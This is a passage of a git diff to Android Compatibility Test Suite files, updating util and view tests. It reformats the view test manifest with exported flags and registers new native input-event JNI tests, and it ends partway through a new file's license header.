diff --git a/tests/tests/util/TEST_MAPPING b/tests/tests/util/TEST_MAPPING
new file mode 100644
index 0000000..70f0e93
--- /dev/null
+++ b/tests/tests/util/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsUtilTestCases"
+    }
+  ]
+}
diff --git a/tests/tests/util/src/android/util/cts/InstallUtilTest.java b/tests/tests/util/src/android/util/cts/InstallUtilTest.java
index c3bfe28..59e89aa 100644
--- a/tests/tests/util/src/android/util/cts/InstallUtilTest.java
+++ b/tests/tests/util/src/android/util/cts/InstallUtilTest.java
@@ -177,8 +177,9 @@
             assertThat(session).isNotNull();
 
             // Session can be committed directly, but a BroadcastReceiver must be provided.
-            session.commit(LocalIntentSender.getIntentSender());
-            InstallUtils.assertStatusSuccess(LocalIntentSender.getIntentSenderResult());
+            LocalIntentSender sender = new LocalIntentSender();
+            session.commit(sender.getIntentSender());
+            InstallUtils.assertStatusSuccess(sender.getResult());
 
             // Verify app has been installed
             assertThat(InstallUtils.getInstalledVersion(TestApp.A)).isEqualTo(1);
diff --git a/tests/tests/util/src/android/util/cts/SparseArrayMapTest.java b/tests/tests/util/src/android/util/cts/SparseArrayMapTest.java
index 96b54ee..93df3dc 100644
--- a/tests/tests/util/src/android/util/cts/SparseArrayMapTest.java
+++ b/tests/tests/util/src/android/util/cts/SparseArrayMapTest.java
@@ -37,7 +37,7 @@
 
     @Test
     public void testStoreSingleInt() {
-        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        SparseArrayMap<String, Integer> sam = new SparseArrayMap<>();
         for (int i = 0; i < KEYS_1.length; i++) {
             sam.add(0, KEYS_1[i], i);
         }
@@ -52,7 +52,7 @@
 
     @Test
     public void testStoreMultipleInt() {
-        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        SparseArrayMap<String, Integer> sam = new SparseArrayMap<>();
 
         for (int i = 0; i < KEYS_1.length; i++) {
             sam.add(0, KEYS_1[i], i);
@@ -76,7 +76,7 @@
 
     @Test
     public void testClear() {
-        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        SparseArrayMap<String, Integer> sam = new SparseArrayMap<>();
         for (int i = 0; i < KEYS_1.length; i++) {
             sam.add(0, KEYS_1[i], i);
         }
@@ -89,7 +89,7 @@
 
     @Test
     public void testContains() {
-        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        SparseArrayMap<String, Integer> sam = new SparseArrayMap<>();
         for (int i = 0; i < KEYS_1.length; i++) {
             sam.add(0, KEYS_1[i], i);
         }
@@ -105,7 +105,7 @@
 
     @Test
     public void testDelete() {
-        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        SparseArrayMap<String, Integer> sam = new SparseArrayMap<>();
         for (int i = 0; i < KEYS_1.length; i++) {
             sam.add(0, KEYS_1[i], i);
             sam.add(1, KEYS_1[i], i);
@@ -142,7 +142,7 @@
 
     @Test
     public void testGetOrDefault() {
-        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        SparseArrayMap<String, Integer> sam = new SparseArrayMap<>();
         for (int i = 0; i < KEYS_1.length; i++) {
             if (i % 2 == 0) {
                 sam.add(0, KEYS_1[i], i);
@@ -157,7 +157,7 @@
 
     @Test
     public void testIntKeyIndexing() {
-        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        SparseArrayMap<String, Integer> sam = new SparseArrayMap<>();
         for (int i = 0; i < KEYS_1.length; i++) {
             sam.add(i * 2, KEYS_1[i], i * 2 + 1);
         }
@@ -169,7 +169,7 @@
 
     @Test
     public void testIntStringKeyIndexing() {
-        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        SparseArrayMap<String, Integer> sam = new SparseArrayMap<>();
         for (int i = 0; i < KEYS_1.length; i++) {
             sam.add(i * 2, KEYS_1[i], i * 2 + 1);
         }
@@ -182,7 +182,7 @@
 
     @Test
     public void testNumMaps() {
-        SparseArrayMap<Integer> sam = new SparseArrayMap<>();
+        SparseArrayMap<String, Integer> sam = new SparseArrayMap<>();
         for (int i = 0; i < 10; i++) {
             assertEquals(i, sam.numMaps());
             sam.add(i, "blue", i);
diff --git a/tests/tests/vcn/Android.bp b/tests/tests/vcn/Android.bp
index ecb1236..5666ee7 100644
--- a/tests/tests/vcn/Android.bp
+++ b/tests/tests/vcn/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test {
     name: "CtsVcnTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/view/Android.mk b/tests/tests/view/Android.mk
index 3c16650..47bca8b 100644
--- a/tests/tests/view/Android.mk
+++ b/tests/tests/view/Android.mk
@@ -34,6 +34,7 @@
     compatibility-device-util-axt \
     ctsdeviceutillegacy-axt \
     ctstestrunner-axt \
+    cts-input-lib \
     mockito-target-minus-junit4 \
     platform-test-annotations \
     ub-uiautomator \
diff --git a/tests/tests/view/AndroidManifest.xml b/tests/tests/view/AndroidManifest.xml
index 344375e..86527f7 100644
--- a/tests/tests/view/AndroidManifest.xml
+++ b/tests/tests/view/AndroidManifest.xml
@@ -16,383 +16,423 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.view.cts"
-    android:targetSandboxVersion="2">
+     package="android.view.cts"
+     android:targetSandboxVersion="2">
 
-    <uses-permission android:name="android.permission.CAMERA" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
-    <uses-feature android:name="android.hardware.camera" />
+    <uses-permission android:name="android.permission.CAMERA"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-feature android:name="android.hardware.camera"/>
 
     <application android:label="Android TestCase"
-                android:icon="@drawable/size_48x48"
-                android:maxRecents="1"
-                android:multiArch="true"
-                android:supportsRtl="true">
-        <uses-library android:name="android.test.runner" />
+         android:icon="@drawable/size_48x48"
+         android:maxRecents="1"
+         android:multiArch="true"
+         android:supportsRtl="true">
+        <uses-library android:name="android.test.runner"/>
 
         <activity android:name="android.app.Activity"
-                  android:label="Empty Activity"
-                  android:theme="@style/ViewAttributeTestTheme">
+             android:label="Empty Activity"
+             android:theme="@style/ViewAttributeTestTheme"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.ViewStubCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="ViewStubCtsActivity">
+             android:screenOrientation="locked"
+             android:label="ViewStubCtsActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.UsingViewsCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="Using Views Test">
+             android:screenOrientation="locked"
+             android:label="Using Views Test"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.FocusHandlingCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="Focus Handling Test">
+             android:screenOrientation="locked"
+             android:label="Focus Handling Test"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name=".ViewGroupInvalidateChildCtsActivity"
-                  android:label="ViewGroupCtsActivity"
-                  android:screenOrientation="locked"
-                  android:hardwareAccelerated="false">
+             android:label="ViewGroupCtsActivity"
+             android:screenOrientation="locked"
+             android:hardwareAccelerated="false"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.ViewTestCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="ViewTestCtsActivity">
+             android:screenOrientation="locked"
+             android:label="ViewTestCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.ViewLayoutPositionTestCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="ViewTestCtsActivity">
+             android:screenOrientation="locked"
+             android:label="ViewTestCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.animation.cts.AnimationTestCtsActivity"
-                  android:label="AnimationTestCtsActivity"
-                  android:screenOrientation="locked"
-                  android:configChanges="orientation|screenSize">
+             android:label="AnimationTestCtsActivity"
+             android:screenOrientation="locked"
+             android:configChanges="orientation|screenSize"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.animation.cts.GridLayoutAnimCtsActivity"
-                  android:label="GridLayoutAnimCtsActivity"
-                  android:screenOrientation="locked"
-                  android:configChanges="orientation|screenSize">
+             android:label="GridLayoutAnimCtsActivity"
+             android:screenOrientation="locked"
+             android:configChanges="orientation|screenSize"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.animation.cts.LayoutAnimCtsActivity"
-                  android:label="LayoutAnimCtsActivity"
-                  android:screenOrientation="locked"
-                  android:configChanges="orientation|screenSize">
+             android:label="LayoutAnimCtsActivity"
+             android:screenOrientation="locked"
+             android:configChanges="orientation|screenSize"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.TextureViewCtsActivity"
-                  android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
-                  android:screenOrientation="locked"
-                  android:label="TextureViewCtsActivity">
+             android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
+             android:screenOrientation="locked"
+             android:label="TextureViewCtsActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.TextureViewCameraActivity"
-                  android:screenOrientation="locked">
+             android:screenOrientation="locked"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.TextureViewStressTestActivity"
-                  android:screenOrientation="locked">
+             android:screenOrientation="locked"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.TextureViewSnapshotTestActivity"
-                  android:screenOrientation="locked">
+             android:screenOrientation="locked"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.PixelCopyVideoSourceActivity"
-                  android:screenOrientation="locked"
-                  android:label="PixelCopyVideoSourceActivity" />
+             android:screenOrientation="locked"
+             android:label="PixelCopyVideoSourceActivity"/>
 
         <activity android:name="android.view.cts.PixelCopyGLProducerCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="PixelCopyGLProducerCtsActivity"/>
+             android:screenOrientation="locked"
+             android:label="PixelCopyGLProducerCtsActivity"/>
 
 
         <activity android:name="android.view.cts.PixelCopyViewProducerActivity"
-                  android:label="PixelCopyViewProducerActivity"
-                  android:screenOrientation="portrait"
-                  android:rotationAnimation="jumpcut"
-                  android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
-                  android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize" />
+             android:label="PixelCopyViewProducerActivity"
+             android:screenOrientation="portrait"
+             android:rotationAnimation="jumpcut"
+             android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
+             android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize"/>
 
         <activity android:name="android.view.cts.PixelCopyWideGamutViewProducerActivity"
-                  android:label="PixelCopyWideGamutViewProducerActivity"
-                  android:screenOrientation="portrait"
-                  android:rotationAnimation="jumpcut"
-                  android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
-                  android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize"
-                  android:colorMode="wideColorGamut" />
+             android:label="PixelCopyWideGamutViewProducerActivity"
+             android:screenOrientation="portrait"
+             android:rotationAnimation="jumpcut"
+             android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
+             android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize"
+             android:colorMode="wideColorGamut"/>
 
         <activity android:name="android.view.cts.PixelCopyViewProducerDialogActivity"
-                  android:label="PixelCopyViewProducerDialogActivity"
-                  android:screenOrientation="portrait"
-                  android:rotationAnimation="jumpcut"
-                  android:theme="@android:style/Theme.Material.Dialog.NoActionBar"
-                  android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize" />
+             android:label="PixelCopyViewProducerDialogActivity"
+             android:screenOrientation="portrait"
+             android:rotationAnimation="jumpcut"
+             android:theme="@android:style/Theme.Material.Dialog.NoActionBar"
+             android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize"/>
 
         <activity android:name="android.view.cts.FocusFinderCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="FocusFinderCtsActivity">
+             android:screenOrientation="locked"
+             android:label="FocusFinderCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.GestureDetectorCtsActivity"
-                  android:label="GestureDetectorCtsActivity"
-                  android:screenOrientation="locked"
-                  android:theme="@android:style/Theme.NoTitleBar.Fullscreen" />
+             android:label="GestureDetectorCtsActivity"
+             android:screenOrientation="locked"
+             android:theme="@android:style/Theme.NoTitleBar.Fullscreen"/>
 
         <activity android:name="android.view.cts.ScaleGestureDetectorCtsActivity"
-                  android:label="ScaleGestureDetectorCtsActivity"
-                  android:screenOrientation="locked"
-                  android:theme="@android:style/Theme.NoTitleBar.Fullscreen" />
+             android:label="ScaleGestureDetectorCtsActivity"
+             android:screenOrientation="locked"
+             android:theme="@android:style/Theme.NoTitleBar.Fullscreen"/>
 
         <activity android:name="android.view.cts.DisplayRefreshRateCtsActivity"
-                  android:label="DisplayRefreshRateCtsActivity"/>
+             android:label="DisplayRefreshRateCtsActivity"/>
 
         <activity android:name="android.view.cts.MockActivity"
-                  android:label="MockActivity"
-                  android:screenOrientation="locked">
+             android:label="MockActivity"
+             android:screenOrientation="locked">
             <meta-data android:name="android.view.merge"
-                android:resource="@xml/merge" />
+                 android:resource="@xml/merge"/>
         </activity>
 
         <activity android:name="android.view.cts.MenuTestActivity"
-                  android:screenOrientation="locked"
-                  android:label="MenuTestActivity" />
+             android:screenOrientation="locked"
+             android:label="MenuTestActivity"/>
 
         <activity android:name="android.view.cts.MenuItemCtsActivity"
-                  android:theme="@android:style/Theme.Material.Light.NoActionBar"
-                  android:screenOrientation="locked"
-                  android:label="MenuItemCtsActivity" />
+             android:theme="@android:style/Theme.Material.Light.NoActionBar"
+             android:screenOrientation="locked"
+             android:label="MenuItemCtsActivity"/>
 
         <activity android:name="android.view.cts.ActionModeCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="ActionModeCtsActivity">
+             android:screenOrientation="locked"
+             android:label="ActionModeCtsActivity">
         </activity>
 
         <activity android:name="android.view.cts.ViewOverlayCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="ViewOverlayCtsActivity">
+             android:screenOrientation="locked"
+             android:label="ViewOverlayCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.ViewGroupOverlayCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="ViewGroupOverlayCtsActivity">
+             android:screenOrientation="locked"
+             android:label="ViewGroupOverlayCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.SearchEventActivity"
-                  android:screenOrientation="locked"
-                  android:label="SearchEventActivity">
+             android:screenOrientation="locked"
+             android:label="SearchEventActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.CtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="CtsActivity">
+             android:screenOrientation="locked"
+             android:label="CtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.ContentPaneCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="ContentPaneCtsActivity">
+             android:screenOrientation="locked"
+             android:label="ContentPaneCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.LongPressBackActivity"
-                  android:screenOrientation="locked"
-                  android:label="LongPressBackActivity">
+             android:screenOrientation="locked"
+             android:label="LongPressBackActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.KeyEventInjectionActivity"
-                  android:label="KeyEventInjectionActivity">
+             android:label="KeyEventInjectionActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.surfacevalidator.CapturedActivity"
-            android:screenOrientation="locked"
-            android:theme="@style/WhiteBackgroundTheme">
+             android:screenOrientation="locked"
+             android:theme="@style/WhiteBackgroundTheme"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.surfacevalidator.CapturedActivityWithResource"
-                  android:screenOrientation="locked"
-                  android:theme="@style/WhiteBackgroundTheme">
+             android:screenOrientation="locked"
+             android:theme="@style/WhiteBackgroundTheme"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <service android:name="android.view.cts.surfacevalidator.LocalMediaProjectionService"
-                 android:foregroundServiceType="mediaProjection"
-                 android:enabled="true">
+             android:foregroundServiceType="mediaProjection"
+             android:enabled="true">
         </service>
 
         <activity android:name="android.view.cts.HoverCtsActivity"
-                  android:screenOrientation="locked">
+             android:screenOrientation="locked"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.TooltipActivity"
-                  android:screenOrientation="locked"
-                  android:label="TooltipActivity">
+             android:screenOrientation="locked"
+             android:label="TooltipActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.PointerCaptureCtsActivity"
-                  android:screenOrientation="locked"
-                  android:label="PointerCaptureCtsActivity">
+             android:screenOrientation="locked"
+             android:label="PointerCaptureCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.view.cts.DefaultFocusHighlightCtsActivity">
+        <activity android:name="android.view.cts.DefaultFocusHighlightCtsActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.view.cts.InputEventInterceptTestActivity">
+        <activity android:name="android.view.cts.InputEventInterceptTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.view.cts.TouchDelegateTestActivity">
+        <activity android:name="android.view.cts.InputDeviceKeyLayoutMapTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.view.cts.ViewSourceLayoutTestActivity">
+        <activity android:name="android.view.cts.TouchDelegateTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.view.cts.SystemGestureExclusionActivity">
+        <activity android:name="android.view.cts.ViewSourceLayoutTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.view.cts.SystemGestureExclusionActivity"
+             android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.view.cts.ViewAnimationMatrixActivity"
-                  android:theme="@android:style/Theme.Material.Light.NoActionBar">
+             android:theme="@android:style/Theme.Material.Light.NoActionBar"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
-        <activity android:name="android.view.cts.ViewUnbufferedTestActivity">
+        <activity android:name="android.view.cts.ViewUnbufferedTestActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
+                <action android:name="android.intent.action.MAIN"/>
             </intent-filter>
         </activity>
 
-        <service
-            android:name="android.view.textclassifier.cts.CtsTextClassifierService"
-            android:exported="true"
-            android:permission="android.permission.BIND_TEXTCLASSIFIER_SERVICE">
+        <service android:name="android.view.textclassifier.cts.CtsTextClassifierService"
+             android:exported="true"
+             android:permission="android.permission.BIND_TEXTCLASSIFIER_SERVICE">
             <intent-filter>
                 <action android:name="android.service.textclassifier.TextClassifierService"/>
             </intent-filter>
@@ -400,10 +440,10 @@
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.view.cts"
-                     android:label="CTS tests of android.view">
+         android:targetPackage="android.view.cts"
+         android:label="CTS tests of android.view">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/tests/tests/view/jni/Android.bp b/tests/tests/view/jni/Android.bp
index 484a6dd..fd8f4daa 100644
--- a/tests/tests/view/jni/Android.bp
+++ b/tests/tests/view/jni/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 cc_test_library {
 
     name: "libctsview_jni",
@@ -29,8 +25,10 @@
 
     srcs: [
         "CtsViewJniOnLoad.cpp",
+        "android_view_cts_AInputNativeTest.cpp",
         "android_view_cts_ASurfaceControlTest.cpp",
         "android_view_cts_ChoreographerNativeTest.cpp",
+        "android_view_cts_InputDeviceKeyLayoutMapTest.cpp",
     ],
 
     shared_libs: [
diff --git a/tests/tests/view/jni/CtsViewJniOnLoad.cpp b/tests/tests/view/jni/CtsViewJniOnLoad.cpp
index a6f50ca..2d4b3d7 100644
--- a/tests/tests/view/jni/CtsViewJniOnLoad.cpp
+++ b/tests/tests/view/jni/CtsViewJniOnLoad.cpp
@@ -20,6 +20,9 @@
 
 extern int register_android_view_cts_ASurfaceControlTest(JNIEnv *);
 extern int register_android_view_cts_ChoreographerNativeTest(JNIEnv* env);
+extern int register_android_view_cts_AKeyEventNativeTest(JNIEnv *env);
+extern int register_android_view_cts_AMotionEventNativeTest(JNIEnv *env);
+extern int register_android_view_cts_InputDeviceKeyLayoutMapTest(JNIEnv *env);
 
 jint JNI_OnLoad(JavaVM *vm, void *) {
     JNIEnv *env = NULL;
@@ -32,5 +35,14 @@
     if (register_android_view_cts_ChoreographerNativeTest(env)) {
         return JNI_ERR;
     }
+    if (register_android_view_cts_AKeyEventNativeTest(env)) {
+        return JNI_ERR;
+    }
+    if (register_android_view_cts_AMotionEventNativeTest(env)) {
+        return JNI_ERR;
+    }
+    if (register_android_view_cts_InputDeviceKeyLayoutMapTest(env)) {
+        return JNI_ERR;
+    }
     return JNI_VERSION_1_4;
 }
diff --git a/tests/tests/view/jni/android_view_cts_AInputNativeTest.cpp b/tests/tests/view/jni/android_view_cts_AInputNativeTest.cpp
new file mode 100644
index 0000000..87670c4
--- /dev/null
+++ b/tests/tests/view/jni/android_view_cts_AInputNativeTest.cpp
@@ -0,0 +1,150 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
